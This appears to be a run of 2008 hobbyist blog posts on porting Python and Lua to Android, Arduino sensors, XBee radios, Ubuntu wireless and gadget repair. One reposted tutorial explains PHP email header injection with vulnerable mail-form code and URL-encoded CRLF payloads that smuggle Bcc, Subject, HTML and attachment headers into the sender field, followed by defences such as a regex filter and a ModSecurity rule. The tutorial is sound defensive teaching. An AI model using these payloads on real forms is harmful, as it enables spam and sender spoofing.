#include "structmember.h"

diff -r -c -b Python-2.4.5/Python/pystrtod.c Python-2.4.5-android/Python/pystrtod.c
*** Python-2.4.5/Python/pystrtod.c Tue Jun  8 20:52:54 2004
--- Python-2.4.5-android/Python/pystrtod.c Fri Dec 19 10:18:11 2008
***************
*** 54,61 ****

fail_pos = NULL;

!  locale_data = localeconv();
!  decimal_point = locale_data->decimal_point;
decimal_point_len = strlen(decimal_point);

assert(decimal_point_len != 0);
--- 54,61 ----

fail_pos = NULL;

!  //locale_data = localeconv();
!  decimal_point = '.';//locale_data->decimal_point;
decimal_point_len = strlen(decimal_point);

assert(decimal_point_len != 0);
***************
*** 218,225 ****

PyOS_snprintf(buffer, buf_len, format, d);

!  locale_data = localeconv();
!  decimal_point = locale_data->decimal_point;
decimal_point_len = strlen(decimal_point);

assert(decimal_point_len != 0);
--- 218,225 ----

PyOS_snprintf(buffer, buf_len, format, d);

!  //locale_data = localeconv();
!  decimal_point = '.';//locale_data->decimal_point;
decimal_point_len = strlen(decimal_point);

assert(decimal_point_len != 0);
diff -r -c -b Python-2.4.5/setup.py Python-2.4.5-android/setup.py
*** Python-2.4.5/setup.py Sun Oct  8 19:41:25 2006
--- Python-2.4.5-android/setup.py Fri Dec 19 17:26:29 2008
***************
*** 15,21 ****
from distutils.command.install_lib import install_lib

# This global variable is used to hold the list of modules to be disabled.
! disabled_module_list = []

def add_dir_to_list(dirlist, dir):
  """Add the directory 'dir' to the list 'dirlist' (at the front) if
--- 15,33 ----
from distutils.command.install_lib import install_lib

# This global variable is used to hold the list of modules to be disabled.
! disabled_module_list = [
!     '_ctypes',
!     '_curses',
!     '_curses_panel',
!     '_locale',
!     '_ssl',
!     'crypt',
!     'linuxaudiodev',
!     'nis',
!     'ossaudiodev',
!     'readline',
!     'zlib',
!     ]

def add_dir_to_list(dirlist, dir):
  """Add the directory 'dir' to the list 'dirlist' (at the front) if
***************
*** 199,204 ****
--- 211,218 ----
          self.announce('WARNING: skipping import check for Cygwin-based "%s"'
              % ext.name)
          return
+         if os.environ.get('CROSS_COMPILE') == 'yes':
+             return
      ext_filename = os.path.join(
          self.build_lib,
          self.get_ext_filename(self.get_ext_fullname(ext.name)))

Download agcc.
Make a copy of agcc called ag++ and apply the following patch.

*** agcc 2008-11-06 18:22:48.000000000 +0100
--- ag++ 2008-12-19 21:19:21.000000000 +0100
***************
*** 32,41 ****

# Dance around to find the actual android toolchain path (it's very
# deep, so links on $PATH are going to be common.
! my $GCC = `which arm-eabi-gcc`;
$GCC = qx(cd `dirname $GCC`; /bin/pwd);
chomp $GCC;
! die "bad arm-eabi-gcc path" if $GCC !~ /(.*)\/prebuilt\//;
my $DROID = $1;

my $ALIB = "$DROID/out/target/product/generic/obj/lib";
--- 32,41 ----

# Dance around to find the actual android toolchain path (it's very
# deep, so links on $PATH are going to be common.
! my $GCC = `which arm-eabi-g++`;
$GCC = qx(cd `dirname $GCC`; /bin/pwd);
chomp $GCC;
! die "bad arm-eabi-g++ path" if $GCC !~ /(.*)\/prebuilt\//;
my $DROID = $1;

my $ALIB = "$DROID/out/target/product/generic/obj/lib";
***************
*** 174,180 ****
if($have_src and $mode ne "-E") { $need_cpp = $need_compile = 1; }

# Assemble the command:
! my @cmd = ("arm-eabi-gcc");
if($mode ne "DEFAULT") { @cmd = (@cmd, $mode); }
if(defined $out) { @cmd = (@cmd, "-o", $out); }
if($need_cpp) { @cmd = (@cmd, @include_paths, @preprocess_args); }
--- 174,180 ----
if($have_src and $mode ne "-E") { $need_cpp = $need_compile = 1; }

# Assemble the command:
! my @cmd = ("arm-eabi-g++");
if($mode ne "DEFAULT") { @cmd = (@cmd, $mode); }
if(defined $out) { @cmd = (@cmd, "-o", $out); }
if($need_cpp) { @cmd = (@cmd, @include_paths, @preprocess_args); }

Add agcc and ag++ to your path.
Add /android_src/prebuilt/linux-x86/toolchain/arm-eabi-4.2.1/bin to your path (the Android toolchain).
Add /android_src/out/host/linux-x86/bin to your path (the Android development tools).
Reconfigure Python for Android.

$ CROSS_COMPILE=yes CXX=ag++ CC=agcc AR=arm-eabi-ar \
RANLIB=arm-eabi-ranlib LD=arm-eabi-ld AS=arm-eabi-as \
STRIP=arm-eabi-strip ./configure --host=linux --build=arm-linux --prefix=/data

Remove the posix module from the Makefile and from /python_src/Modules/config.c using the following patch.

*** Python-2.4.5/Makefile Fri Dec 19 22:21:20 2008
--- Python-2.4.5-android/Makefile Fri Dec 19 22:23:50 2008
***************
*** 21,27 ****

# === Variables set by makesetup ===

! MODOBJS=          Modules/threadmodule.o  Modules/signalmodule.o  Modules/posixmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  Modules/_sre.o  Modules/_codecsmodule.o  Modules/zipimport.o  Modules/symtablemodule.o  Modules/xxsubtype.o
MODLIBS=        $(LOCALMODLIBS) $(BASEMODLIBS)

# === Variables set by configure
--- 21,27 ----

# === Variables set by makesetup ===

! MODOBJS=          Modules/threadmodule.o  Modules/signalmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  Modules/_sre.o  Modules/_codecsmodule.o  Modules/zipimport.o  Modules/symtablemodule.o  Modules/xxsubtype.o
MODLIBS=        $(LOCALMODLIBS) $(BASEMODLIBS)

# === Variables set by configure
*** Python-2.4.5/Modules/config.c Fri Dec 19 22:21:20 2008
--- Python-2.4.5-android/Modules/config.c Fri Dec 19 22:26:06 2008
***************
*** 21,27 ****

extern void initthread(void);
extern void initsignal(void);
! extern void initposix(void);
extern void initerrno(void);
extern void initpwd(void);
extern void init_sre(void);
--- 21,27 ----

extern void initthread(void);
extern void initsignal(void);
! //extern void initposix(void);
extern void initerrno(void);
extern void initpwd(void);
extern void init_sre(void);
***************
*** 40,46 ****

{"thread", initthread},
{"signal", initsignal},
!  {"posix", initposix},
{"errno", initerrno},
{"pwd", initpwd},
{"_sre", init_sre},
--- 40,46 ----

{"thread", initthread},
{"signal", initsignal},
! // {"posix", initposix},
{"errno", initerrno},
{"pwd", initpwd},
{"_sre", init_sre},

Build and install Python to a local directory.

$ make install prefix=./python-android HOSTPYTHON=./hostpython \
HOSTPGEN=./Parser/hostpgen BLDSHARED="agcc -shared" CROSS_COMPILE=yes

Remove some unnecessary files and push Python to your G1 or emulator.

$ cd ./python-android
$ rm -rf man include lib/python2.4/test
$ find . -name '*.pyc' -exec rm {} \;
$ find . -name '*.pyo' -exec rm {} \;
$ find . -type d -not -name '.' | perl -pe 's,\./,/data/,' | xargs -L1 adb shell mkdir
$ adb push . data

And here it is.

Update
I've uploaded the python2.4 binary I built for Android. It's missing lots of libraries, but it runs :) I haven't corrected the build instructions yet, but I'll hopefully get to that soon.

Lua on Android

2008-12-18T00:00:00.002+01:00

Note: This post is out of date. If you'd like to run Lua on your Android device, please see my Android Scripting Environment project.

After messing around for two days trying to get Python running on Android, I decided to give Lua a try. It didn't take much to get the interpreter running (especially compared to Python which still isn't running for me). Here's a very small patch for Lua 5.1.4.

diff -r lua-5.1.4/src/llex.c lua-5.1.4-android/src/llex.c
179c179
<   struct lconv *cv = localeconv();
---
>   //struct lconv *cv = localeconv();
181c181
<   ls->decpoint = (cv ? cv->decimal_point[0] : '.');
---
>   ls->decpoint = '.';//(cv ? cv->decimal_point[0] : '.');
461d460
<
diff -r lua-5.1.4/src/lvm.c lua-5.1.4-android/src/lvm.c
205c205
<     int temp = strcoll(l, r);
---
>     int temp = strcmp(l, r);//strcoll(l, r);
763d762
<

You'll also need get the Android source and build it. Then grab agcc (a small Perl script) linked to from some brief instructions about compiling native code for Android. Here are some even briefer instructions for getting Lua on your G1 :)

Add agcc to your path.
Add mydroid/prebuilt/linux-x86/toolchain/arm-eabi-4.2.1/bin to your path (the Android toolchain).
Add mydroid/out/host/linux-x86/bin to your path (the Android development tools).
Build and install Lua.

$ make CC=agcc AR="arm-eabi-ar rcu" RANLIB=arm-eabi-ranlib posix
...
$ make INSTALL_TOP=$(pwd)/lua-android install

Copy Lua to your phone/emulator using adb.

$ cd lua-android
$ rm -rf man
$ adb shell
$ su
# cd data
# mkdir bin include lib share
# exit
$ exit
$ adb push . data

You can now either run Lua from adb shell or by installing the terminal emulator app and running it directly on your phone.

Update
I fixed some bugs in the instructions. :)

Plant Monitor

2008-12-14T23:38:00.000+01:00

Tonight I threw together a quick plant monitor. I followed the directions for the Botanicalls Twitter DIY to build a moisture detection circuit (I used a 2N3904 transistor). It works pretty well. I found that the analog readings tend to be quite high and do not vary much (450 for dry soil, 545 for moist soil, 555 for a glass of water). I think these variables probably need to be adjusted to match individual conditions.

The plan is to move this quick and dirty Arduino prototype to an ATtiny13 with wireless data transfer and solar power. Using the tiny13, I should be able to monitor 3 plants (without disabling the reset pin). Here's my Arduino code and pictures.

int PROBE_PIN = 5;

void setup()
{
  Serial.begin(9600);
}

void loop()
{
  int val = analogRead(PROBE_PIN);
  delay(1000);
  Serial.println(val);
}

Email Injection

2008-12-10T13:18:00.006+01:00

Not so long ago, I ran a wiki called SecurePHP. On that wiki, there was one particular article about email injection that received a lot of attention. Naturally, with all the attention came lots of spam. As a result, I disabled editing of the wiki and content stagnated. Still, the email injection article remained popular. About a year later, the server that hosted SecurePHP died and I never had a chance to hook it all back up. I saved the article though and I'm reposting it now. It may be a bit old (I've been away from PHP for a long time), and I didn't write all of it, so feel free to leave comments about needed updates and corrections. Though this article focuses on PHP, it provides a lot of general information regarding email injection attacks.

The PHP `mail()` Function

There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.

Function usage: mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail())

Extra params are not commonly fed from user input, so we'll skip this part. Most webmasters carefully hardcode the recipient's email address into the contact form of their web application. You might think this eliminates the way this kind of script could be exploited. But, you would be be wrong!

Example 1

Here's an example of code we'll base our analysis on:

<?php
$to="webmaster@website.com";
if (!isset($_POST["send"])) {
// no post data -> display form
?>
<form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
To: webmaster@website.com

From: <input type="text" name="sender">

Subject: <input type="text" name="subject">

Message:

<textarea name="message" rows="10" cols="60" lines="20"></textarea>

<input type="submit" name="send" value="Send">

</form>
<?
} else {
// found post data .. deal with it
$from=$_POST['sender'];
// send mail
if (mail($to, $_POST['subject'],$_POST['message'],"From: $from\n")){
// display confirmation message if mail sent successfully
echo "Your mail was indeed sent to $to.";
} else {
// sending failed, display error message
echo "Doh! Your mail could not be sent.";
}
}
?>

When looking at the HTML form or at the code, it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However, it is possible to choose the subject, the message, and the sender's email address (From: header). The PHP mail() function roughly works as follows:

<?php mail($recipient,$subject,$message,$headers); ?>

And will produce the following raw output:

To: $recipient
Subject: $subject
$headers

$message

When calling the function like this:

<?php mail("recipient@victim.xxx","Hello","Hi,\nYour site is great.\nBye","From: sender@anonymous.xxx\n"); ?>

The raw output data will look like this:

To: recipient@victim.xxx
Subject: Hello
From: sender@anonymous.xxx

Hi,
Your site is great.
Bye

The PHP code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers than the From: using this form. Of course the message, To and Subject fields could also be used to inject some data but the mail() function and the RFC specifications would filter any content given to those fields to prevent it from being abused.

What's the use of injecting email headers?

In this context, the target is to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see RFC 822). For example Cc (Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the Bcc (Blind Carbon Copy) which sends a carbon copy of the message just like with the Cc header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients' headers. As specified in RFC 822, you must add a line feed for every header. The LF (line feed) char has a hexadecimal value of 0x0A.

By providing the following values to the example script of this article:

Sender: sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx
Subject: ahem
Message: My Message...

The email's raw data will look like this:

To: recipient@victim.xxx
Subject: ahem
From: sender@anonymous.xxx
Cc:recipient@someothersite.xxx
Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx

My Message...

The mail headers were injected successfully! Despite the fact that the only header value take from the HTML form is From:, the resulting email has been sent to three people of our choice: recipient@someothersite.xxx, somebloke@grrrr.xxx and someotherbloke@oooops.xxx.

In the last example, both Cc and Bcc headers have been used to perform the injection. It would also have been possible to use the To header, the last value is added (just like in the Cc and Bcc fields) to the hardcoded email address of the webmaster.

Example 2

Let's keep the same value for subject and message, and give the following value to the sender email@anonymous.xxx%0ATo:email1@who.xxx. The mail output is:

To: recipient@victim.xxx
Subject: Hum
From: email@anonymous.xxx
To:email1@who.xxx

My Message...

Repeating the To header won't be a problem, the mail will be sent to recipient@victim.xxx AND email1@who.xxx.

Now for something completely evil...

Let's consider spam.

Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to.

<?php $subject="Visit our site www.website.xxx !";
$message="Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye.";
if (!isset($_POST["send"])){
// no post data, display form
?>
<form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
To: <input type="text" name="recipient">
From: <input type="text" name="sender">
<input type="submit" name="send" value="Send">
</form>
<?php
} else {
// found post data
$from=$_POST['sender'];
$to=$_POST['recipient'];
// send mail :
if (mail($to,$subject,$message,"From: $from\n")){
// success
echo "Mail sent successfully to $to.";
} else {
// failure
echo "Doh ! Sending failed.";
}
}
?>

Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the To header can be sent twice, the Subject header is not an exception to this rule, and so it is for numerous other headers. By providing a recipient address of buddy@pal.xxx and a sender address of misterburns@springfield.xxx%0ASubject:My%20Anonymous%20Subject the email body will look like this:

To: buddy@pal.xxx
Subject: Visit our site www.website.xxx !
From: misterburns@springfield.xxx
Subject: My Anonymous Subject

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye

The subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx!", and in some cases will replace it (depending on the mail services, SMTP relays, mail client, etc). For example Hotmail displays the added subject inside the message.

Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (From, To, etc); there is no such Message header existing in the RFC 822. And that's exactly how we will alter this part of the mail, a LF; with no header name means that the message body started. So, instead of specifying a LF and a header name, we will just add a LF and give our message.

As both To and Subject headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended. Say we provide the sender badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message. Then the email will look like this:

To: buddy@pal.xxx
Subject: Visit our site www.website.xxx!
From: badguy@badboys.com

My New
Anonymous Message.

Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye

We can clearly see the that the new message:

My New
Anonymous Message

is prepended to the old message:

Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye

to finally give this message:

My New
Anonymous Message

Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye

There are more headers than Cc, Bcc, To, Subject and From but this article will not cover all of them as they are not especially helpful for this article. However, the Content-Type header can be very useful. It has a default value set of plain/text.

It is possible to re-define this header as

text/html, and then provide some HTML content to the message by giving this value to the sender's email address haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A.

The email will look like:

To: buddy@pal.xxx
Subject: Visit our site www.website.xxx !
From: haxor@attack.com
Content-Type:text/html

My New
<u>HTML Anonymous Message.</u>

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye

When displayed, this email will have the text "HTML Anonymous Message" underlined.

MIME

The mail() function respects the MIME encoding. By knowing this, the header Content-Type can be used in different ways for injection purposes. The MIME encoding (Multipurpose Internet Mail Extensions) can be used, in addition to send HTML mails, to attach files (sound, image, txt, etc).

The fact is that the header Content-Type can be re-defined as multipart/mixed (or multipart/alternative or multipart/related), even though it was already defined previously.

The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.

Here's an example in MIME format, with one recipient part:

To: recip@ient.xxx
Subject: Good Luck
From: sender@spoofed.xxx
Content-Type: multipart/mixed; boundary="MyBoundary";
Hidden Text1
--MyBoundary
Content-Type: plain/text;

Good Luck for you work,
bye

--MyBoundary--
Hidden Text2

First we see the header To, Subject and From then the Content-Type defined as multipart/mixed, then the "boundary" line which value is MyBoundary. This boundary stuff is used as a separator (see RFC 822 for detailed info) inside the message. It is also used to set the beginning/end of the first/last part (--[THE BOUNDARY]). Note: "[THE BOUNDARY] can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first boundary declaration. Then we see the --MyBoundary line, announcing the beginning of the first message, and then, just after the Content-Type header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line --MyBoundary--, announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.

Now the originating message and subject, both hardcoded in php, are ignored. So by providing the sender value

haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--

We get:

To: recip@ient.xxx
Subject: Visit www.website.xxx!
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html

My Message.
--frog--

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye

And the message received by "recip@ient.xxx" is an HTML message containing "My Message." The hard coded advertisement message (below) is NOT displayed:

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye

Note: boundary is sent with no quotes this time, just to show it applies even if magic_quotes_gpc=ON.

This method is applicable in different context. Imagine a script where sender can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A in the sender header and %0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog-- to the optional field (e.g nickname). The resulting mail will look like:

To: ami@friends.xxx
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;

Hello,

A friend called
--frog
Content-Type:text/html

My Message.
--frog--
thought you might want to see this page : www.website.xxx.
Bye Bye

As you can see, the hard coded message has been split in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.

Example 3

Now a last example, compiling all possibilities seen in this article, and more. Provide this value as the sender:

haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog;
%0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html;
name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File
%0A%0A--frog--%0A

The resulting email will be:

To: pal@friends.xxx
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Subject: Mwahahaha
Bcc: target@nothappy.xxx
Content-Type: multipart/mixed; boundary=frog;
--frog
Content-Type: text/html

HTML Message.

--frog--
Content-Type: text/html;name=Nastycode.html;
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment

HTML File

--frog--

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye

So, the sender is "haxor@attack.xxx", the subject is "Visit www.website.xxx ! Oooops", the email will be received by "pal@friends.xxx", and a carbon copy will be sent to "target@nothappy.xxx". The email content will be HTML:

HTML Message.

a file named "Nastycode.html" with content type "text/html" will be attached to the email:

HTML File

<panic>

Now that the problem has been described, enjoy some scheduled panic time.

</panic> (Solutions)

And now that you've stopped panicking, here are several ways to combat email injection.

Regex

The first rule (the golden rule) is to always filter and validate user data. One possibility is to use regular expressions or string functions:

<?php
$from = $_POST["sender"];
if (eregi("(\r|\n)", $from)) {
die("Why ?? :(");
}
?>

We can see in the above script that any occurrence of \r or \n will make it die(). \n is equal to LF (line feed or 0x0A/%0A in hexadecimal), and \r is equal to CR (carriage return or 0x0D/%0D in hexadecimal).

Zend_Mail

You can use the Zend_Mail component as your mail sender class. It provides protection to this problem by default, no action is required from the programmer.

PEAR Mail

The PEAR Mail class provides protection against this problem since version 1.1.13.

Swift Mailer

Swift Mailer class is not vulnerable to this attack.

Suhosin

The Suhosin PHP extension provides the suhosin.mail.protect ini directive, with 3 different levels of protection.

ModSecurity

ModSecurity can put a stop to email injection on the server level.

With ModSecurity it is possible to scan the POST or GET body for Bcc, Cc, or To and reject any request that contains those letters. To protect against main injection, add the below rule to your modsecurity setup:

SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"

However, there are plenty of legitmate reasons to use the word "to" in an email and blacklists are never complete. Whitelisting is always a better option. gotroot.com is a great source for ModSecurity rules. It is a good idea to use their rules and configuration to protect users against other PHP exploits. Any virtual host having issues with ModSecurity can have it disabled by adding the below setting to the VirtualHost container:

<IfModule mod_security.c>
SecFilterEngine Off
</IfModule>

In Conclusion...

Two points to remember when watching injections:

Any existing data located *after* the injection point can be replaced.
Any data to be added will always be located *after* the injection point (e.g. From).

There is another good point to this security measure despite the fact that subject and recipient values passed to the mail() function are cleaned, when using Emacs, the Fcc header is also protected from injections. This Fcc field contains the name of one file and directs Emacs to append a copy of the message to that file when you send the message. Although this works on Emacs, it is not possible with the PHP mail() function.

And remember, there are other related exploit possibilities that are not discussed in this article. Security requires research and vigilance.

JavaScript Painting with Canvas

2008-12-09T22:27:00.000+01:00

I spent some time today messing with JavaScript canvas stuff. Here's a simple paint snippet. Enjoy.

<head>
  <script>
    function draw() {
      var canvas = document.getElementById("canvas");
      var ctx = canvas.getContext("2d");
      ctx.fillStyle = "black";
      ctx.beginPath();

      var x;
      var y;

      canvas.onmousedown = function(e) {
        x = e.clientX;
        y = e.clientY;
        ctx.moveTo(x, y);
      }

      canvas.onmouseup = function(e) {
        x = null;
        y = null;
      }

      canvas.onmousemove = function(e) {
        if (x == null || y == null) {
          return;
        }
        x = e.clientX;
        y = e.clientY;
        x -= canvas.offsetLeft;
        y -= canvas.offsetTop;
        ctx.lineTo(x, y);
        ctx.stroke();
        ctx.moveTo(x, y);
      }
    };
  </script>
</head>
<body onload="draw();">
  <canvas id="canvas" width="300" height="300"
  style="border: 1px solid black;"></canvas>
</body>

Ubuntu Ibex Wireless and RT61PCI

2008-12-07T18:46:00.001+01:00

Ever since I upgraded to Ubuntu Ibex, my wireless has stopped working. Network Manager was able to scan and display available networks, but couldn't connect. I waited a while to see if a patch might fix it, but none did. I got it working again tonight. My solution involves removing Network Manager (which isn't a problem for me since I'm doing this on my desktop). Basically, I followed some directions from the Ubuntu Forums. However, I've made some small changes and added some instructions where I felt there were gaps.

Disable and remove Network Manager.

sudo killall NetworkManager
sudo apt-get remove network-manager

Remove the rt61pci module and blacklist it to prevent it from loading in the future.

sudo modprobe -r rt61pci
echo 'blacklist rt61pci' | sudo tee -a \
  /etc/modprobe.d/blacklist

Download the serialmonkey rt61 legacy CVS tarball and install it.

tar zxvf rt61-cvs-daily.tar.gz
cd rt61-cvs*/Module
make
sudo cp rt61.ko \
  /lib/modules/`uname -r`/kernel/drivers/net/wireless
sudo depmod
sudo modprobe rt61

Edit /etc/network/interfaces by adding/modifying the following section.

auto wlan0
iface wlan0 inet dhcp
pre-up iwconfig wlan0 mode managed
pre-up ifconfig wlan0 up
pre-up iwconfig wlan0 essid [your SSID]
pre-up iwpriv wlan0 set AuthMode=WPA2PSK
pre-up iwpriv wlan0 set WPAPSK=[your ascii key]
pre-up iwpriv wlan0 set EncrypType=AES

Bring up the wireless interface by typing sudo ifup wlan0 or rebooting.

XBee ZNet 2.5 Wireless Accelerometer

2008-11-09T23:00:00.000+01:00

I managed to put together a wireless accelerometer the other night using my two new XBees, an Arduino XBee shield, an XBee Explorer USB, an ADXL330, and some Python. I struggled a bit with some of it, so here's what I learned:

First, a parts list.

XBee 2mW Series 2.5 Chip Antenna
Arduino XBee (with XBee Series 2.5 module)
XBee Explorer USB
ADXL330

I'm not sure exactly what the specs are on the XBee that comes with the Arduino shield. But, it is definitely a series 2.5.

The first thing to do is to configure and upgrade the firmware on your XBees. To do that, you'll need X-CTU (for the firmware upgrade at least, but it's also nice for configuration) which, unfortunately, is only available for Windows. But, it works fine from VMware. First up, the XBee we'll hook up to the computer to read incoming data from the accelerometer:

Plug one of the XBees into the Explorer (it's also possible to do this from the Arduino shield by shifting the two XBee/USB jumpers to USB and removing the MCU) and plug it into your USB port.
Crank up X-CTU, select the appropriate USB communications port (com port), click "Modem Configuration" and then "Read." This will determine what XBee is connected and what firmware is on the device.
Select "Always update firmware."
Click "Download new versions..."
Select the latest version of ZNet 2.5 Router/End Device API. The API version is necessary in order to read the incoming data on the computer. Only API firmware will write incoming sensor data to the device's UART so it can be read over USB/serial.
Click "Write." You may get an error after the writing is complete. That's normal. It's because you've changed the way the XBee communicates over it's UART. Go back to the "PC Settings" tab, select "Enable API" and then click "Read" on the "Modem Configuration" tab again.
Under "Networking," change NI (Node Identifer) to something like "ARDUINO". I named mine Arduino because I used the Arduino and XBee shield to provide a USB connection to the computer.
Click "Write" and hook it up to your computer. This is the XBee that your accelerometer will be sending data to. We'll hack up some Python to read that data later.

Next up is the XBee we'll hook to the accelerometer:

Follow the same steps as before until you reach the firmware selection.
Select the latest version of ZNet 2.5 Router/End Device AT.
Under "Networking," change NI (Node Identifer) to something like "ACCELEROMETER".
Under "I/O Settings," change D0-D2 to 2-ADC. These pins will be used to read from the accelerometer.
Again under "I/O Settings," change IR (sample rate) to 1F4 (hex for 500 milliseconds).
Click "Write."
Go to the "Termainal" tab. To enter command mode on the XBee, send it "+++" (do not press enter). It will respond with "OK". Next type "ATDNARDUINO
" (or whatever you called your other XBee). That will set the destination node to your other XBee. It should respond with "OK". Next, send it "ATWR
". That will write the settings to memory so that they aren't lost when the XBee is powered off.
```
+++OK
ATDNARDUINO
OK
ATWR
OK
```
Finally, hook up your XBee and ADXL330. You can power both with 3.3V (3V works too). Unfortunately, the XBee 2.5 series ADCs only accept voltages in the range of 0-1.2V. To get better results, you'll need to add voltage dividers on the X, Y, and Z axes. I don't have those in the schematic. If you use 3V, it works well enough to detect motion. For finer mesurements, you'll need the dividers.

Now, you should be able to test that everything is working. Connect to the Arduino XBee with the X-CTU terminal. Assuming your accelerometer XBee is powered on, you should see lots of data flying by. The data is transmitted in API packets over the XBee's UART, to the FTDI chip, to your computer's USB-serial device. The API packet specification is in the XBee 2.5 manual. Here's some Python that does part of the decoding.

import xbee

Just kidding. Although there is a XBee Python library, it doesn't currently support series 2.5 modules.

import serial  # pySerial
import struct
import sys

THRESHOLD = 5

tty = sys.argv[1]

s = serial.Serial(tty, 9600)
movement = None
while True:
if s.read() == chr(0x7e):  # Packet start indicator.
  length, api_id = struct.unpack('>Hc', s.read(3))
  if api_id == chr(0x92):  # IO packet type.
    # Lots of bytes we don't care about followed by 3 shorts.
    z, y, x = struct.unpack('>xxxxxxxxxxxxxxxHHH',
                            s.read(length - 1))
    print z, y, x
    if (movement is not None and
        abs(z + y + x - movement) > THRESHOLD):
      print 'You moved!'
    movement = z + y + x

If you read the spec for API packets, you'll notice I'm glossing over a lot of details. The analog IO bytes are always at the end of the packet. Since we enabled only 3 ADCs, we can just grab the last three shorts.

Finally, here is a picture of my breadboarded version (with voltage dividers) of this. It works great. I'm currently working on a PCB so that the whole thing is compact enough to be wearable.

Some further notes:

The chip antenna versions are pretty directional. There's a lot of interference in my apartment (a long story for another post) and I don't get very good range. I plan to buy some more 60mW XBee Pros with wire antennas in the future. I'd recommend getting the high power ones unless you're really concerned about battery life. I wish I had.
Digi's tech support is really pretty great. I had some trouble flashing one of my XBee's and they got in contact with me on the same business day.
Unfortunately, the XBee only has 4 ADCs. If it had one more, you could add a pitch and roll gyro to the mix without an additional MCU. Oh, well.
The XBee pin spacing doesn't match standard breadboards. But, the XBee Explorer USB doubles as an XBee breakout board for breadboard designs (as seen in the photo above) if you solder on some additional headers.

Scooba Stuck In Diagnostic Mode

2008-11-02T12:42:00.000+01:00

This morning, I turned on my Scooba and it started beeping a scale of tones and blinking all its lights in sequence. After an hour or so of resetting, cleaning, disassembling, researching, and scratching my head, I stumbled across the solution on Roomba Review. But, for me at least, it was even easier than all of that. I don't have any of my own pictures for this procedure, but it's pretty straight forward.

Remove the battery and power.
Remove the two screws holding the bumper shell in place and remove it.
Carefully peel up the sticker with the control buttons on it. This sticker is actually the control panel. There is a data cable attached to it just below the "Clean" button. Be careful not to break it!
Clean the surface under the sticker with some isopropyl alcohol. (I didn't actually have to do this, but I'm sure it doesn't hurt.)
Gently replace the "sticker" (i.e. control panel) and make sure it's completely flat.
Check to see if it works again. If not, repeat.
Replace the bumper shell and screws.

It turns out that this "unfixable" (according to iRobot) problem is usually just some moisture under the contacts in the control panel.

Productivity is evil and should be punished.

2008-10-07T16:00:00.000+02:00

Fantastic Contraption

Arduino Accelerometer (ADXL330)

2008-09-26T21:13:00.000+02:00

Another toy I ordered quite awhile ago was an accelerometer. Just hooked it up, no sweat. Here's the code:

#define xPin 5
#define yPin 4
#define zPin 3
int x = 0;
int y = 0;
int z  = 0;
int delta = 0;

void setup() {
  Serial.begin(9600);
}

void loop() {
  delta = x + y + z;
  x = analogRead(xPin);
  y = analogRead(yPin);
  z = analogRead(zPin);
  delta -= x + y + z;
  Serial.print(x);
  Serial.print(", ");
  Serial.print(y);
  Serial.print(", ");
  Serial.print(z);
  Serial.print(", ");
